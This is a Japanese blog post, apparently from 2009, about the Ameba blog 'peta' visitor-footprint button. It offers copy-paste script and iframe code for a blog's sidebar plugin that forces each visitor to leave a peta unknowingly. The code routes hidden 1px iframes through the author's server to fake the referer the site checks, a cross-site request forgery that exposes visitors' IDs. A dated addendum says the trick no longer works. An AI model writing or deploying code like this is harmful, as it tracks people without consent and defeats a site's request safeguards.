アメーバあしあとちょう | ぼくはまちちゃん!(アメーバ)

(追記 2009/12/17) アメーバの仕様変更により以下のものは使えなくなりました。


アメブロには「ペタ」っていう、ちょっとイイ機能がありますよね。
これはなにかっていうとmixiの足あとのようなもので、
mixiと違う点はといえば、
訪問者が「ペタボタン」を押さないかぎり、ペタが残らないという点。

ペタを残すか残さないかを、訪問者が決められるわけですね。

でも、このペタボタン、
もし自動でクリックする仕掛けがページ側にあれば
mixiのあしあとのように、来訪者のIDを知ることができてしまいます。

そこで、ちょっと調べてみました。

どうやらペタをつけるは、以下のurlにリクエストすればokのようでした。

http://peta.ameba.jp/p/addPetaComplete.do?targetAmebaId=(ユーザーID)

だけど少しだけ条件があって、
・refererが空である
もしくは
・refererに「peta.ameba.jp」という文字列を含む
という状態でないと受け付けてくれないようなので、ただ単純にimgタグ等でリクエストを発生させるだけでは、訪問者のペタは残りません。

訪問者にペタを残してもらう為には、なんらかの形でreferrerを操作する必要があります。

そうそう、ところでみなさん知っていましたか。
アメブロには「フリープラグイン」という機能があります。
これはデフォルトでサイドバーにある「フリーエリア」とは違うので注意が必要です。
「プラグイン追加」から追加できる「フリープラグイン」の方です。
実はこれ、iframe も script も自由に使えます。

そこで、そういった機能を利用してフリープラグインにちょっとしたタグを追加するだけで
誰でも使える「アメーバあしあとちょう」をつくってみました。
どうぞご利用ください。

実際に動いている状態は、このブログのサイドバー「アメーバあしあとちょう」を見てみてくださいね。

・サイドバーの設定 → プラグインの追加 → フリープラグイン
・下のコードの ID の部分を自分のものに変えてコピペ
・サイドバーの配置でフリープラグインを配置しておくのをお忘れなく…!

<script type="text/javascript">
var user = 'xxx';

var ifr=document.createElement('iframe');
ifr.id='ifr1';
ifr.width='1';
ifr.height='1';
ifr.frameborder='1';
ifr.src='http://hamachiya.com/junk/peta.ameba.jp/?u=' + user + '&t=' + new Date;
document.body.appendChild(ifr);

setTimeout(function(){
var viewer = document.getElementById('petaViewer');
if (viewer) {
viewer.src = 'http://peta.ameba.jp/p/addPeta.do?targetAmebaId=' + user + '&t=' + (new Date) + '#listDetail';
}
}, 800);
</script>
<noscript>
<iframe id="ifr1" width="1" height="1" frameborder="0" src="http://hamachiya.com/junk/peta.ameba.jp/?u=xxx"></iframe>
</noscript>
<iframe width="1" height="1" src="http://ameblo.jp/hamachiya2/" frameborder="0" scrolling="no"></iframe>

<!-- ブログのサイドバーにペタを表示したくない人はここから下を削除してね -->
<h4 class="menu_title" style="margin-bottom:2px"><span><a href="http://ameblo.jp/hamachiya2/entry-10410983430.html" target="_blank">アメーバあしあとちょう</a><br />by <a href="http://ameblo.jp/hamachiya2/" target="_blank">Hamachiya2</a></span></h4>
<iframe id="petaViewer" width="100%" height="300" src="http://peta.ameba.jp/p/addPeta.do?targetAmebaId=xxx#listDetail"></iframe>

(しくみ)
・スクリプトで1pxのiframeを生成(iframe1とする)
・iframe1は「http://hamachiya.com/junk/peta.ameba.jp/?u=ユーザーid」を表示
・iframe1の中で、また1pxのiframeを表示(iframe2とする)
・iframe2は「http://peta.ameba.jp/p/addPetaComplete.do?targetAmebaId=ユーザーid」を表示…というかリクエスト
・iframe2からのリクエストにはリンク元(referer)として「peta.ameba.jp」が含まれるため、ペタがつく感じだよ

※アメブロの仕様変更により、使えなくなる可能性があります